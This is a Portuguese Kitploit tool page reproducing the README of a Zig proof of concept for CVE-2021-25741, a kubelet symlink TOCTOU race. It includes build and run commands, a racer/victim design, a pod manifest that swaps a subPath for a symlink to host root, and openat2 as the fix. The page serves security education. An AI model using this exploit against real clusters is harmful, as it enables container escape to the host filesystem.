Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ZigRaceExploit — CVE-2021-25741 POC in Zig | Kitploit
Ferramentas/GitHubGitHub/glutenfree69/zigraceexploit
Container SecurityVulnerability AnalysisExploitationCloud SecurityLearning & EducationBinary Exploitation
GitHubglutenfree69/zigraceexploit

ZigRaceExploit

CVE-2021-25741 POC in Zig

Ver Repositório
há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-25741 — Exploração de Corrida TOCTOU via Symlink em Zig

Exploit educacional da condição de corrida TOCTOU (Time Of Check, Time Of Use) que está na origem de CVE-2021-25741, uma vulnerabilidade no kubelet do Kubernetes.

O projeto demonstra localmente (sem cluster K8s) como uma troca concorrente de symlink pode contornar uma verificação de caminho entre lstat() e open(), e prova que openat2() com os flags RESOLVE_* é a solução.

Índice

  • O problema
  • Como funciona o exploit
  • Arquitetura do código
  • Pré-requisitos
  • Build
  • Utilização
    • Teste local com Docker
    • Comparação openat vs openat2
    • Brincar com o atraso TOCTOU
    • Teste em um node Kubernetes real
  • Resultados esperados
  • Explicação do código
  • Syscalls Linux utilizados
  • Debug com strace
  • Referências

O problema

Resolução de caminhos no Linux

Quando o kernel resolve um caminho como /a/b/c/file, ele o faz componente por componente. A cada etapa, se o componente for um symlink, o kernel o segue automaticamente. Essa resolução não é atômica — o filesystem pode mudar entre duas etapas.

TOCTOU no kubelet

O kubelet do Kubernetes fazia exatamente esse padrão vulnerável:

root@kitploit:~
1. CHECK : lstat(subPath) → "é um diretório, é seguro"
     ↕ JANELA DE CORRIDA — um processo no container troca o diretório por um symlink
2. USE   : mount(subPath) → segue o symlink, monta o filesystem do host

Entre a verificação e o mount, um processo malicioso no container podia substituir o subPath por um symlink para / do host, obtendo assim acesso completo ao filesystem do host.

O fix : openat2(2)

O syscall openat2 (kernel 5.6+) resolve o caminho e abre o arquivo de forma atômica, com restrições:

Com openat2, não existe janela TOCTOU: se um symlink aparecer durante a resolução, o syscall falha imediatamente.


Como funciona o exploit

Duas threads cooperam para explorar a janela TOCTOU:

root@kitploit:~
workdir/
├── legit_dir/
│   └── secret.txt  → contém "LEGIT"
├── symlink_target/
│   └── secret.txt  → contém "PWNED"
└── target/          → alternado entre dir real e symlink

Thread Racer

Fica em loop ultrarrápido e alterna atomicamente target/ entre dois estados via renameat2(RENAME_EXCHANGE):

  • Estado A : target/ é um diretório real (contém secret.txt = "LEGIT")
  • Estado B : target/ é um symlink para symlink_target/ (contém secret.txt = "PWNED")

Um único syscall por troca = janela de corrida máxima.

Thread Victim (simula o kubelet)

Reproduz o padrão vulnerável do kubelet:

  1. fstatat("target", AT_SYMLINK_NOFOLLOW) — verifica que é um diretório
  2. Pausa opcional (simula a latência do kubelet entre check e use)
  3. openat(dirfd, "target/secret.txt", O_RDONLY) — abre o arquivo
  4. read() — lê o conteúdo
  5. Se conteúdo == "PWNED" → race win (o symlink foi seguido)
  6. Se conteúdo == "LEGIT" → race loss (era mesmo o diretório real)

Em modo protegido (--use-openat2), o passo 3 usa openat2 com RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH. Se um symlink estiver presente, o kernel retorna ELOOP em vez de segui-lo.


Arquitetura do código

root@kitploit:~
src/
├── main.zig       # Ponto de entrada: faz parse da CLI, cria o shared state, spawna
│                  # as threads, mede o tempo, exibe os resultados
│
├── racer.zig      # Thread racer: prepara o estado inicial (target → symlink),
│                  # depois fica em loop com renameat2(RENAME_EXCHANGE) para alternar
│                  # target/ e legit_dir/ continuamente
│
├── victim.zig     # Thread victim: faz loop de N iterações de fstatat → delay →
│                  # openat/openat2 → read → compara "LEGIT" vs "PWNED"
│
├── setup.zig      # Cria a árvore de teste: workdir/, legit_dir/,
│                  # symlink_target/, target/ com os arquivos sentinela
│
├── syscalls.zig   # Constantes e wrappers para os syscalls raw:
│                  # - struct open_how (UAPI do kernel, 3×u64)
│                  # - flags RESOLVE_*
│                  # - RENAME_EXCHANGE (= 2)
│                  # - openat2() via linux.syscall4(.openat2, ...)
│                  # - rename_exchange() via linux.renameat2()
│                  # - Helpers : is_err(), to_errno(), to_fd()
│
└── stats.zig      # Contadores atômicos lock-free (std.atomic.Value(u64))
                   # para wins, losses, errors, eloop + exibição formatada

Todos os syscalls são chamados via std.os.linux.* diretamente (sem wrappers std.fs ou std.posix). O único syscall sem wrapper na stdlib do Zig 0.15 é openat2, que é chamado via linux.syscall4(.openat2, ...) com uma struct open_how definida manualmente a partir dos headers UAPI do kernel.


Pré-requisitos

FerramentaVersãoPorquê
Zig0.15.xCompilador + cross-compilação

O binário é compilado como estático (musl libc) e roda em qualquer Linux sem dependências.

Kernel mínimo:

  • 3.15+ para renameat2(RENAME_EXCHANGE)
  • 5.6+ para openat2 com RESOLVE_* (necessário apenas para --use-openat2)

Docker Desktop e colima no Mac usam kernel 6.x — tudo é suportado.


Build

Cross-compilação Mac → Linux

root@kitploit:~
# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# x86_64 (para nodes x86)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

O binário está em zig-out/bin/race-exploit.

root@kitploit:~
$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked

Utilização

Teste local com Docker

root@kitploit:~
# Iniciar o runtime Docker (se macOS)
colima start

# Executar o exploit (modo vulnerável por padrão)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000

Comparação openat vs openat2

root@kitploit:~
# Modo vulnerável (openat) — a corrida funciona
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000

# Modo protegido (openat2) — a corrida é bloqueada
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --use-openat2

Ou com o script que executa os dois:

root@kitploit:~
./scripts/run_in_docker.sh --iterations 10000

Brincar com o atraso TOCTOU

O parâmetro --delay-us adiciona um atraso entre o lstat (check) e o openat (use). Quanto maior o atraso, maior a janela TOCTOU e maior a taxa de vitória:

root@kitploit:~
# Sem atraso — win rate ~25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000

# 10µs — win rate ~35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 10

# 100µs — win rate ~50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 100

# 1000µs (1ms) — win rate ~50% (limitado, o racer alterna muito mais rápido)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --delay-us 1000

Em um kubelet real, a latência entre a verificação do subPath e o bind mount é da ordem de vários milissegundos (chamadas de API, preparação do mount namespace, etc.), o que torna a corrida muito confiável em condições reais.

Opções completas da CLI

root@kitploit:~
race-exploit [options]
  --iterations N     Número de tentativas (padrão: 10000)
  --delay-us N       Microssegundos entre lstat e open (padrão: 0)
  --use-openat2      Usar openat2 com RESOLVE_* (modo protegido)
  --workdir PATH     Diretório de trabalho (padrão: /tmp/race-workdir)
  --help             Exibir ajuda

Teste em um node Kubernetes real

O exploit não precisa de Kubernetes para funcionar — é uma condição de corrida fundamental do Linux. Mas você pode executá-lo em um node real para testar nas mesmas condições do kubelet.

Opção 1 : executar diretamente em um node

root@kitploit:~
# Cross-compilar para a arquitetura do node
# ARM64 (EKS com Graviton, GKE com T2A, etc.)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# ou x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

# Copiar o binário para o node
scp zig-out/bin/race-exploit user@node:/tmp/

# Executar no node
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100

# Verificar a versão do kernel (>= 5.6 para openat2)
ssh user@node uname -r

Opção 2 : executar a partir de um pod Kubernetes

Criar um pod que embute o binário e o executa:

root@kitploit:~
# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: race-exploit
spec:
  containers:
  - name: race
    image: alpine:latest
    command: ["/app/race-exploit"]
    args: ["--iterations", "50000", "--delay-us", "100"]
    volumeMounts:
    - name: exploit-bin
      mountPath: /app
  volumes:
  - name: exploit-bin
    hostPath:
      path: /tmp  # o binário deve ser copiado aqui antes
  restartPolicy: Never
root@kitploit:~
# Copiar o binário para o node primeiro
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit

# Executar o pod
kubectl apply -f race-pod.yaml
kubectl logs race-exploit

Opção 3 : reproduzir a CVE real com subPath

Para reproduzir o cenário exato de CVE-2021-25741, é necessário explorar a corrida enquanto o kubelet prepara um bind mount de um volume com subPath:

root@kitploit:~
# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: subpath-race
spec:
  containers:
  - name: attacker
    image: alpine:latest
    command: ["/bin/sh", "-c"]
    args:
    - |
      # Este script roda no container e alterna o subPath
      # enquanto o kubelet prepara o mount
      while true; do
        rm -rf /vol/subdir
        ln -s / /vol/subdir
        mkdir -p /vol/subdir
      done
    volumeMounts:
    - name: shared-vol
      mountPath: /vol
      subPath: subdir  # ← o kubelet verifica e depois monta este caminho
  volumes:
  - name: shared-vol
    emptyDir: {}

Importante : este ataque só funciona em kubelets não corrigidos (versões < 1.22.2, < 1.21.5, < 1.20.11). Kubelets recentes usam openat2 com RESOLVE_NO_SYMLINKS para resolver o subPath.

Para verificar se o seu kubelet está vulnerável:

root@kitploit:~
# Versão do kubelet
kubectl get nodes -o wide

# Verificar se openat2 é usado no kubelet (no node)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20

Resultados esperados

openat (vulnerável)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat (vulnerable)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3749
  Race wins:      940 (25.07%)
  Race losses:    2809 (74.93%)
  Errors:         0 (0.00%)
  Duration:       14ms

openat2 (protegido)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat2 (protected)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3105
  Race wins:      0 (0.00%)
  Race losses:    2283 (73.53%)
  Errors:         0 (0.00%)
  ELOOP (blocked): 822 (26.47%)
  Duration:       12ms

Observações-chave:

  • O "total attempts" é menor que as iterações pedidas porque muitas voltas do loop são puladas (o lstat vê um symlink e não tenta o open)
  • Em modo openat, ~25% das tentativas resultam em win (o arquivo "PWNED" é lido)
  • Em modo openat2, 0% de wins — cada tentativa em que o racer alternou é detectada pelo kernel, que retorna ELOOP
  • Os ELOOP correspondem exatamente aos wins no modo openat: é a mesma porcentagem, mas bloqueada

Explicação do código

syscalls.zig — os blocos básicos

O arquivo define as constantes ausentes na stdlib do Zig 0.15:

root@kitploit:~
// renameat2(2) : troca atômica de duas entradas do filesystem
pub const RENAME_EXCHANGE: u32 = 2;

// openat2(2) : struct passada ao syscall
pub const open_how = extern struct {
    flags: u64 = 0,   // O_RDONLY, O_WRONLY, etc.
    mode: u64 = 0,    // permissões (se O_CREAT)
    resolve: u64 = 0, // flags RESOLVE_*
};

// Flags de resolução para open_how.resolve
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // recusa qualquer symlink
pub const RESOLVE_BENEATH: u64 = 0x08;     // proíbe subir acima do dirfd

openat2 é chamado via linux.syscall4(.openat2, ...) porque o Zig 0.15 tem o número do syscall, mas não um wrapper.

racer.zig — a thread atacante

Na inicialização, transforma target/ em um symlink para symlink_target/ e depois fica em loop com dois renameat2(RENAME_EXCHANGE) que alternam target e legit_dir:

root@kitploit:~
Iteração 1: target=dir,     legit_dir=symlink  ← victim vê um dir, abre normalmente
Iteração 2: target=symlink, legit_dir=dir      ← victim segue o symlink → PWNED

victim.zig — a thread kubelet

Reproduz lstat → delay → openat/openat2 → read → compara. Os resultados são contados em contadores atômicos lock-free (fetchAdd com ordering .monotonic).

setup.zig — a estrutura de teste

Cria a árvore com mkdirat, openat(O_CREAT) e write — todos via raw syscalls. Dois arquivos sentinela: "LEGIT" no diretório real, "PWNED" no alvo do symlink.


Syscalls Linux utilizados


Debug com strace

root@kitploit:~
# Rastrear todos os syscalls das duas threads
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f /app/race-exploit --iterations 100

# Filtrar os syscalls interessantes
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
  /app/race-exploit --iterations 100

# Ver os ELOOP de openat2
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat2 \
  /app/race-exploit --iterations 100 --use-openat2

Nota: strace não é instalado por padrão no Alpine. Use alpine:edge ou instale com apk add strace:

root@kitploit:~
docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
  sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"

Referências

  • CVE-2021-25741 — Kubernetes Issue #104980
  • Google Security Blog — Exploring Container Security: Storage
  • man 2 openat2 — o fix
  • man 2 renameat2 — troca atômica
  • man 2 fstatat — lstat sem seguir symlinks
  • Symlinks and path resolution — Star Lab
Baixar ferramenta
FlagEfeito
RESOLVE_NO_SYMLINKSRecusa seguir qualquer symlink → retorna ELOOP
RESOLVE_BENEATHRecusa sair do diretório base → retorna EXDEV
RESOLVE_IN_ROOTTrata o dirfd como a raiz do filesystem
RESOLVE_NO_XDEVRecusa atravessar pontos de montagem
DockerqualquerPara executar o binário Linux no Mac
colimaqualquerRuntime Docker no macOS (ou Docker Desktop)
SyscallPapel no exploitWrapper Zig
renameat2(RENAME_EXCHANGE)Troca atômica target ↔ legit_dirlinux.renameat2()
fstatat(AT_SYMLINK_NOFOLLOW)lstat : verifica se target é dir ou symlinklinux.fstatat()
openat(O_RDONLY)Abre o arquivo seguindo symlinks (vulnerável)linux.openat()
openat2(RESOLVE_NO_SYMLINKS)Abre o arquivo recusando symlinks (fix)linux.syscall4(.openat2, ...)
symlinkatCria o symlink inicial target → symlink_targetlinux.symlinkat()
unlinkatRemove target antes de recriá-lo como symlinklinux.unlinkat()
mkdiratCria os diretórios de testelinux.mkdirat()
read / write / closeIO nos arquivos sentinelalinux.read() / linux.write() / linux.close()